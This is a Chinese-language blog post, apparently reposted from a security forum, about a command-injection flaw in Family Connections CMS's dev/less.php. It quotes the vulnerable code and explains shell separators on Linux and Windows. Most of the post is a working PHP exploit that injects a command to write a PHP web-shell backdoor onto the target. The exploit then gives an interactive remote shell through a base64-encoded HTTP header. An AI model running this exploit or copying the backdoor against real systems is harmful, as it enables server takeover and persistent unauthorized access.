Author:TPCS

From:90sec

Blog:http://blog.163.com/jianshitianxia_ao/

0x01 引言

最近在练习些PoC,找个这个老洞来练手,最早的PoC发布是在exploitDB上,就不贴链接了,大家自己去搜下吧。一开始拿到原来的PoC,想搜下相关内容,看看有没有什么信息之类的,结果搜出来的内容,真是让我想骂人,国内的关于这个漏洞,基本上就是把人家原文贴上去,一点说明都没有。而且exploitDB上的PoC是有限制的,PoC的运行环境要是linux,目标的建站环境也要是linux,所以我得出一个结论,这些贴PoC的傻逼们,连测试都没做就贴出来,给自己装下逼。

好了,牢骚发完了,入正题吧。这个漏洞主要形成的原因是由于/dev/less.php这个文件中,用到system函数时,直接将未做任何过滤的变量$theme插入参数中,而导致的命令执行问题。有问题的代码如下:

$theme = isset($argv[1]) ? $argv[1] : 'default';

system("clear");

if (file_exists("$dir/themes/$theme/style.css"))
{
    echo "\n[ themes/$theme/style.css ] already exists.\n\n";
    echo "Overwrite [ y/n ] ? ";
    $handle = fopen ("php://stdin","r");
    $line = fgets($handle);
    if (trim($line) != 'y')
    {
        exit;
    }
}

$worked = system("php -q ~/bin/lessphp/lessc $dir/themes/$theme/dev.less > $dir/themes/$theme/style.css");

0x02 利用

虽然,自己测试原来的PoC时,纠结了一段时间,但是,后来通过自己抓包分析,明白大致问题所在这个过程,自己也学到不少东西。稍微解释下我遇到的问题,linux和windows下的命令行操作,在连接字符上是有些不同的,例如windows下输入“echo hello ; net user”将会打印出“hello ; net user”,但是在linux下输入“echo hello ; ifconfig”则会打印hello,并执行ifconfig。原来的PoC就是针对linux服务器编写的,所以它的所发的命令用的“;”,所以我在针对windows服务器实现的过程中将“;”修改为&。具体实现方法,大家看后面的PoC吧。

这个漏洞的利用,还用到了全局变量覆盖的内容,所以在PHP5.3以前的版本中,必须要将register_globals打开。但是在PHP5.3之后,register_globals这个参数取消掉了,也就是说PHP5.3之后register_gloals永远是关闭的了,这个问题在5.3之后便不存在了。

0x03 PoC

编写PoC的过程中遇到了一个关于default_socket_timeout的理解问题,稍微试验了下,明白的了这个设置大概的意思。具体内容,想看的朋友到我的博客上去看吧,这里就不多讲了。

我实现PoC的思路和原来作者有些不同,她直接通过漏洞文件中system命令和攻击者形成交互,但是这样做,交互的时间会很慢。所以,我采用的方法是至于漏洞文件进行一次交互执行system函数,生成一个后门php文件,然后PoC与这个php文件进行交互,具体细节大家看代码吧。

<?php
print_r("
--------------------------------------------------------------------------------
Family Connections CMS v2.5.0-v2.7.1 (less.php) remote command execution exploit
by TPCS [url=http://blog.163.com/jianshitianxia_ao/]http://blog.163.com/jianshitianxia_ao/[/url]
--------------------------------------------------------------------------------
");
if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
用法: php ".$argv[0]." <目标ip[:端口]> <CMS路径> <后门文件名>
目标ip:       目标ip地址,若不填写端口,默认为80
CMS路径:      Family Connections CMS所在目录
后门文件名:   利用成功后会生成一个后门文件,留空则为TPCS.php
Example:
php ".$argv[0]." 192.168.1.5:80  /wp/ fuck.php
php ".$argv[0]." 192.168.1.5  /wp/
输入exit结束交互
-----------------------------------------------------------------------------
"); die;
}
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout",8);
function CPacket($host,$path,$doorname){
        $packet = "GET ".$path."dev/less.php?argv[1]=";
        $packet .= urlencode("||echo ^<?php error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?^> > {$doorname} ||");
        $packet .= " HTTP/1.1\r\n";
        $packet .= "Host:".$host."\r\n";
        $packet .= "\r\n";
        return $packet;
}
function SPacket($host,$port,$packet){
        if(!($socket = fsockopen($host,$port)))
                die("\n[-] No response from {$host}:{$port}\n");
        fputs($socket,$packet);  
        return stream_get_contents($socket);
}
function SArgs($argv){
        $Args = array();
        if(strpos($argv[1],":")){
                $HP = explode(":",$argv[1]);
                $host = $HP[0];
                $port = (int)$HP[1];
        }
        else{
                $host = $argv[1];
                $port = 80;
        }
        $Args['host'] = $host;
        $Args['port'] = $port;
        $Args['path'] = $argv[2];
        if($argv[3] != '' || $argv[3] != null)
                $Args['doorname'] = $argv[3];
        else
                $Args['doorname'] = "TPCS.php";
        return $Args;
}
$myArgs = SArgs($argv);
$host = $myArgs['host'];
$port = $myArgs['port'];
$path = $myArgs['path'];
$doorname = $myArgs['doorname'];
$myPacket = CPacket($host,$path,$doorname);
$mySent = SPacket($host,$port,$myPacket);
if(strpos($mySent,"||echo ^<?php")){
        print_r("利用成功\n");
        $myPacket  = "GET {$path}dev/{$doorname} HTTP/1.0\r\n";
        $myPacket .= "Host: {$host}\r\n";
        $myPacket .= "Cmd:  %s\r\n";
        $myPacket .= "Connection: close\r\n\r\n";
        while(1){    
                print "\nshell# ";    
                if (($cmd = trim(fgets(STDIN))) == "exit") break; 
                $response = SPacket($host, $port,sprintf($myPacket, base64_encode($cmd)));
                preg_match('/\r\n\r\n(.*)\s*/s',$response,$value)?print $value[1]:die("貌似没成功:-(");
        } 

}        
else
        print_r("利用失败");
?>

转自:https://forum.90sec.org/viewthread.php?tid=3809&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000